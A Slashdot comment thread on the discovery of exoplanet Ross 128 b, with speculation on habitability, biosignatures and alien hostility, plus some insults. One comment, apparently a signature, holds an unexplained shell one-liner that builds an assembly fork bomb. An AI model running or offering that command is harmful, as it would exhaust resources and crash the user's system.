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Astronomers Find An Earth-Size World Just 11 Light Years Away (arstechnica.com)
Astronomers have discovered a planet 35 percent more massive than Earth in orbit around a red dwarf star just 11 light years from the Sun. "The planet, Ross 128 b, likely exists at the edge of the small, relatively faint star's habitable zone even though it is 20 times closer to its star than the Earth is to the Sun," reports Ars Technica. "The study in the journal Astronomy & Astrophysics finds the best estimate for its surface temperature is between -60 degrees Celsius and 20 degrees Celsius." From the report: This is not the closest Earth-size world that could potentially harbor liquid water on its surface -- that title is held by Proxima Centauri b, which is less than 4.3 light years away from Earth and located in the star system closest to the Sun. Even so, due to a variety of factors, Ross 128 b is tied for fourth on a list of potentially most habitable exoplanets, with an Earth Similarity Index value of 0.86. In the new research, astronomers discuss another reason to believe that life might be more likely to exist on Ross 128 b. That's because its parent star, Ross 128, is a relatively quiet red dwarf star, producing fewer stellar flares than most other, similar-sized stars such as Proxima Centauri. Such flares may well sterilize any life that might develop on such a world.
We might reach this new world in just 200,000 years, great!
Slashdot, fix the reply notifications... You won't get away with it...
If there was technologically advanced civilization there you could send them a message and get a response in your lifetime
But if they're really advanced, they might never reply to our message.
Slashdot, fix the reply notifications... You won't get away with it...
In 79000 years, Ross 128 will be the closest star to the solar system. That's the most exciting part and somehow not included in the sunmary...
We are building a wall at the edge of the solar system - and we'll make the aliens pay!
Invite them to facebook. :)
[($)]
The paper gives the planet's orbital period as 9.9 days. I don't know the maths, but I assume the closer a small body is to a large one the quicker it becomes tidally locked . What impact would tidal locking have on the habitability of the planet?
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Ha, Tardigrades eat 6 of those before breakfast.
sigo ergo sum
Oxygen may be easy to detect, but we have found oxygen also on other planets. And even though it is very rare that there is an abundance of oxygen, even enough to have some left over after everything that could react with it (which is, well, pretty much everything) has, it's far from impossible and as far as I know it's also not easy to determine whether that oxygen is elementary or part of some oxide compound.
But there is one molecule that exists on our planet and only on our planet, and we have not found a single one anywhere else: Chlorophyll. Which is also the foundation of multicellular life on our planet, and since we only know life on this one, it is basically (if we ignore a few methane breathing bacteria) the foundation of any form of higher life.
And it can also be rather easily detected, chlorophyll absorbs light in two rather narrowly defined bands. You find a planet with oxygen that absorbs heavily in the 680-700nm wavelength range? Time to align your large listening dishes!
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Considering that the laws of life, no matter what form that life takes, are universal, I cannot help but agree. If there is even remotely any kind of competition for resources on a planet, a more advanced, more aggressive species will displace others, and it is likely that the one that prevails is one that is aggressive, xenophobic, competitive and ruthless, at least towards those that don't belong to their own species.
Considering that we barely manage to leave this planet, and even that only for rather brief moments, and that we live on a pretty decent planet compared to what else we have found so far in the galaxy, maybe we shouldn't tell announce it to others that might be technologically advanced enough to consider our planet a really lovely place for a Summer residence, and all they have to do is just getting rid of the vermin first.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
It's the Carl Sagan "all sufficiently advanced civilisations must also be benign" view.
Oddly enough Mars Attacks lampoons this very effectively. E.g.
http://www.imdb.com/title/tt01...
Professor Donald Kessler: We know they're extremely advanced technologically, which suggests - very rightfully so - that they're peaceful. An advanced civilization, by definition, is not barbaric.
Which is basically a bit of equivocation - technological prowess and being civilised aren't the same thing. As Orwell observed
http://orwell.ru/library/revie...
The early Bolsheviks may have been angels or demons, according as one chooses to regard them, but at any rate they were not sensible men. They were not introducing a Wellsian Utopia but a Rule of the Saints, which like the English Rule of the Saints, was a military despotism enlivened by witchcraft trials. The same misconception reappears in an inverted form in Wells's attitude to the Nazis. Hitler is all the war-lords and witch-doctors in history rolled into one. Therefore, argues Wells, he is an absurdity, a ghost from the past, a creature doomed to disappear almost immediately. But unfortunately the equation of science with common sense does not really hold good. The aeroplane, which was looked forward to as a civilising influence but in practice has hardly been used except for dropping bombs, is the symbol of that fact. Modern Germany is far more scientific than England, and far more barbarous. Much of what Wells has imagined and worked for is physically there in Nazi Germany. The order, the planning, the State encouragement of science, the steel, the concrete, the aeroplanes, are all there, but all in the service of ideas appropriate to the Stone Age.
I.e. technological advancement doesn't necessarily make a society less barbaric - the Nazis and Commies used then modern technology to exterminate groups their leaders had decided to scapegoat and invade neighbouring countries in order to incorporate them into their horrid system.
And of course Rome was technologically or at least logistically advanced but would seem far from civilised if you were one of the 'barbarian' tribes in conquered.
The Conquistadors were much more technologically advanced than the indigenous population of the Americas but they were far from benign.
The aliens in 'Mars Attacks' aren't benign and Kessler ends up with a nasty fate. In fact the aliens are actually 'alien' in the original sense of the word - what they do seems highly malicious but it's very hard from a human point of view why they went to so much trouble to do it. Just like from an indigenous American point of view it would be hard to see why Cortes was willing to travel and unimaginable distance to collect gold and force people to follow Catholicism a religion they'd probably be completely unable to understand.
I.e. the notion that technological advancement makes a civilisation benign or rational is naive.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Too far.
A billion miles is only around 1,5 light hours. About the distance between the Sun and Saturn.
The authors of the paper use measurements of the host star's optical spectrum to infer that it doesn't produce a lot of UV emission, and note that it doesn't have frequent optical flares. That's good news for the habitability of the planet around it, as they point out.
However, they apparently did not note that Ross 128 is a relatively strong X-ray source, as measurements by the ROSAT X-ray satellite show. A colleague of mine worked out the X-ray luminosity of the host star, and it turns out to be not unlike that of the Sun, or even larger. That means that the X-ray flux striking the planet -- which is very close to this host star -- is likely high enough to remove the atmosphere of the planet. No atmosphere means not so interesting a planet, alas.
Michael Richmond "This is the heart that broke my finger."
mwrsps@rit.edu http://stupendous.rit.edu
I would go on a limb and say it is 65 trillion miles away.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
There is only one thing on earth not found elsewhere in our own solar system or on any other object in the visible universe - our form of life. It's because three billion years of life has created billions of unique living things that contain a treasure trove of information and technology. Aliens would have good reason to send at least a probe as extracting this information completely would be far and away the most valuable resource. Further, humans are intelligent and it may be in the aliens best interests to exterminate all of them before they spread and start competing for basic resources.
If there is even remotely any kind of competition for resources on a planet, a more advanced, more aggressive species will displace others, and it is likely that the one that prevails is one that is aggressive, xenophobic, competitive and ruthless, at least towards those that don't belong to their own species.
On the other hand, for a species to reach the level of interplanetary travel, there's a good argument that they'd need to be very good at communication and cooperation. Isolated animals don't develop technology. Cultures do. What's more, a lot of the need for competition of resources comes from those resources being limited. If a species became advanced enough to randomly go roaming the universe picking fights and conquering planets, it's not clear that they'd bother, since they could likely go find another planet that didn't require conquering.
Of course, we're both just speculating. We have no idea what form life might be taking elsewhere in the universe.
A billion miles? It's 6.466e+13 miles. A lot more than a fucking billion. Saturn is roughly a billion miles from the sun.
Every extrasolar planet ever seen is 'too far' you mong. Distance is fucking relative.
I do not want your cheap brainburning drugs. They are useless for work. And I am a working man today.
There are no resources on our planet that would not be available much closer to them. Yawn, boring
I do not want your cheap brainburning drugs. They are useless for work. And I am a working man today.
While true, all "higher" plant life relies on two forms of chlorophyll that have roughly identical wavelength maxima (680 and 700nm IIRC).
If you're searching for "any kind of life", we'd have to take into account that there are actually obligate and facultative anaerobic lifeforms that breathe methane, sulfur or even stranger stuff. But they never evolved to multicellular life. And I guess if we want to look for someone to answer a call, we will probably have to assume that whatever life this may be will have to have evolved WAY past this stage.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
... it is likely that the one that prevails is one that is aggressive, xenophobic, competitive and ruthless, at least towards those that don't belong to their own species.
It seems equally - or more - likely that an agressive, xenophobic, competitive, and ruthless life form would destroy itself before it could travel between the stars, or keep itself in a state of near-constant war that would make interstellar ambitions a perceived waste of resources. The kind of individual who would lead such a civilization would almost certainly have to be so concerned with maintaining their power and privilege that it seems unlikely they would ever become technologically advanced enough to be a threat to other planets.
And they may have had radio for 500 years and radio is used primarily for children to do simple astronomy projects. You don't know, you can only guess at what is on the other end. But what is certain is you will never get a response if you never send a message.
“Common sense is not so common.” — Voltaire
"They" = the natives, that's to say us.
Now excuse me, I have to pop to the Chemist's.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."